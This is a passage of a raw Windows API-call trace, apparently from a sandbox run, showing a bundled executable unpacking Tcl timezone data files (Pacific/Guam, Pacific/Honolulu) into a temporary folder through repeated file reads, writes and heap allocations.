"c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.145] GetFileType (hFile=0x10c) returned 0x1 [0043.145] htonl (hostlong=0xfc155d00) returned 0x5d15fc [0043.145] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61c5fc, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.145] htonl (hostlong=0xa0000000) returned 0xa0 [0043.145] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa0) returned 0x55cfe0 [0043.145] htonl (hostlong=0xa0000000) returned 0xa0 [0043.145] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.145] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.145] htonl (hostlong=0xcc000000) returned 0xcc [0043.145] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xcc) returned 0x546940 [0043.145] htonl (hostlong=0xa0000000) returned 0xa0 [0043.145] htonl (hostlong=0xcc000000) returned 0xcc [0043.145] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0043.145] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.146] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.146] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.146] CloseHandle (hObject=0x10c) returned 1 [0043.146] GetLastError () returned 0x0 [0043.146] SetLastError (dwErrCode=0x0) [0043.146] GetLastError () returned 0x0 [0043.146] SetLastError (dwErrCode=0x0) [0043.146] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.146] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.146] GetFileType (hFile=0x10c) returned 0x1 [0043.146] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.146] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.146] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.146] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.146] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.146] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.146] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.146] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.146] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.146] CloseHandle (hObject=0x10c) returned 1 [0043.146] GetLastError () returned 0x0 [0043.146] SetLastError (dwErrCode=0x0) [0043.146] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.146] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.146] GetFileType (hFile=0x10c) returned 0x1 [0043.147] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.147] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.147] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.147] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.147] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.147] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.147] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.147] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.147] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.147] CloseHandle (hObject=0x10c) returned 1 [0043.147] GetLastError () returned 0x0 [0043.147] SetLastError (dwErrCode=0x0) [0043.147] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.147] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.147] GetFileType (hFile=0x10c) returned 0x1 [0043.147] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.147] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.147] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.147] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.147] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.147] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.147] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.147] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.147] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.147] CloseHandle (hObject=0x10c) returned 1 [0043.148] GetLastError () returned 0x0 [0043.148] SetLastError (dwErrCode=0x0) [0043.148] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Guam") returned 69 [0043.148] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Guam" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\guam"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.148] GetLastError () returned 0x2 [0043.148] SetLastError (dwErrCode=0x2) [0043.148] GetLastError () returned 0x2 [0043.148] SetLastError (dwErrCode=0x2) [0043.148] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Guam", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Guam", lpFilePart=0x0) returned 0x44 [0043.148] GetLastError () returned 0x2 [0043.148] SetLastError (dwErrCode=0x2) [0043.148] GetLastError () returned 0x2 [0043.148] SetLastError (dwErrCode=0x2) [0043.148] GetLastError () returned 0x2 [0043.148] SetLastError (dwErrCode=0x2) [0043.148] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Guam") returned 69 [0043.148] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.148] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Guam" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\guam"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.148] GetFileType (hFile=0x10c) returned 0x1 [0043.148] htonl (hostlong=0xcc000000) returned 0xcc [0043.148] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.148] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xcc, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xcc, lpOverlapped=0x0) returned 1 [0043.149] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.149] CloseHandle (hObject=0x10c) returned 1 [0043.149] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546940 | out: hHeap=0x530000) returned 1 [0043.149] htonl (hostlong=0x30000000) returned 0x30 [0043.149] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.149] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.149] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.150] GetFileType (hFile=0x10c) returned 0x1 [0043.150] htonl (hostlong=0x9c165d00) returned 0x5d169c [0043.150] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61c69c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.150] htonl (hostlong=0xb9000000) returned 0xb9 [0043.150] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb9) returned 0x55d748 [0043.150] htonl (hostlong=0xb9000000) returned 0xb9 [0043.150] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.150] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.150] htonl (hostlong=0x2e010000) returned 0x12e [0043.150] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x12e) returned 0x550600 [0043.150] htonl (hostlong=0xb9000000) returned 0xb9 [0043.150] htonl (hostlong=0x2e010000) returned 0x12e [0043.150] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0043.150] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.150] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d748 | out: hHeap=0x530000) returned 1 [0043.150] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.150] CloseHandle (hObject=0x10c) returned 1 [0043.150] GetLastError () returned 0x0 [0043.150] SetLastError (dwErrCode=0x0) [0043.150] GetLastError () returned 0x0 [0043.150] SetLastError (dwErrCode=0x0) [0043.150] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.150] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.150] GetFileType (hFile=0x10c) returned 0x1 [0043.150] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.150] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.150] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.151] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.151] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.151] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.151] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.151] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.151] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.151] CloseHandle (hObject=0x10c) returned 1 [0043.151] GetLastError () returned 0x0 [0043.151] SetLastError (dwErrCode=0x0) [0043.151] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.151] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.151] GetFileType (hFile=0x10c) returned 0x1 [0043.151] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.151] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.151] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.151] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.151] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.151] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.151] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.151] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.151] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.151] CloseHandle (hObject=0x10c) returned 1 [0043.151] GetLastError () returned 0x0 [0043.151] SetLastError (dwErrCode=0x0) [0043.151] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.151] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.152] GetFileType (hFile=0x10c) returned 0x1 [0043.152] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.152] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.152] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.152] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.152] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.152] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.152] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.152] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.152] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.152] CloseHandle (hObject=0x10c) returned 1 [0043.152] GetLastError () returned 0x0 [0043.152] SetLastError (dwErrCode=0x0) [0043.152] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Honolulu") returned 73 [0043.152] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Honolulu" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\honolulu"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.152] GetLastError () returned 0x2 [0043.152] SetLastError (dwErrCode=0x2) [0043.152] GetLastError () returned 0x2 [0043.152] SetLastError (dwErrCode=0x2) [0043.152] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Honolulu", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Honolulu", lpFilePart=0x0) returned 0x48 [0043.152] GetLastError () returned 0x2 [0043.152] SetLastError (dwErrCode=0x2) [0043.152] GetLastError () returned 0x2 [0043.152] SetLastError (dwErrCode=0x2) [0043.152] GetLastError () returned 0x2 [0043.152] SetLastError (dwErrCode=0x2) [0043.152] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Honolulu") returned 73 [0043.152] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.153] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Honolulu" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\honolulu"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.153] GetFileType (hFile=0x10c) returned 0x1 [0043.153] htonl (hostlong=0x2e010000) returned 0x12e [0043.153] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.153] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x12e, lpOverlapped=0x0) returned 1 [0043.155] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.155] CloseHandle (hObject=0x10c) returned 1 [0043.155] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.155] htonl (hostlong=0x30000000) returned 0x30 [0043.155] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.155] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.155] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.155] GetFileType (hFile=0x10c) returned 0x1 [0043.155] htonl (hostlong=0x55175d00) returned 0x5d1755 [0043.155] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61c755, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.155] htonl (hostlong=0x79000000) returned 0x79 [0043.155] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x79) returned 0x55cfe0 [0043.155] htonl (hostlong=0x79000000) returned 0x79 [0043.155] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.155] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.155] htonl (hostlong=0x77000000) returned 0x77 [0043.155] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x77) returned 0x550600 [0043.155] htonl (hostlong=0x79000000) returned 0x79 [0043.155] htonl (hostlong=0x77000000) returned 0x77 [0043.155] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 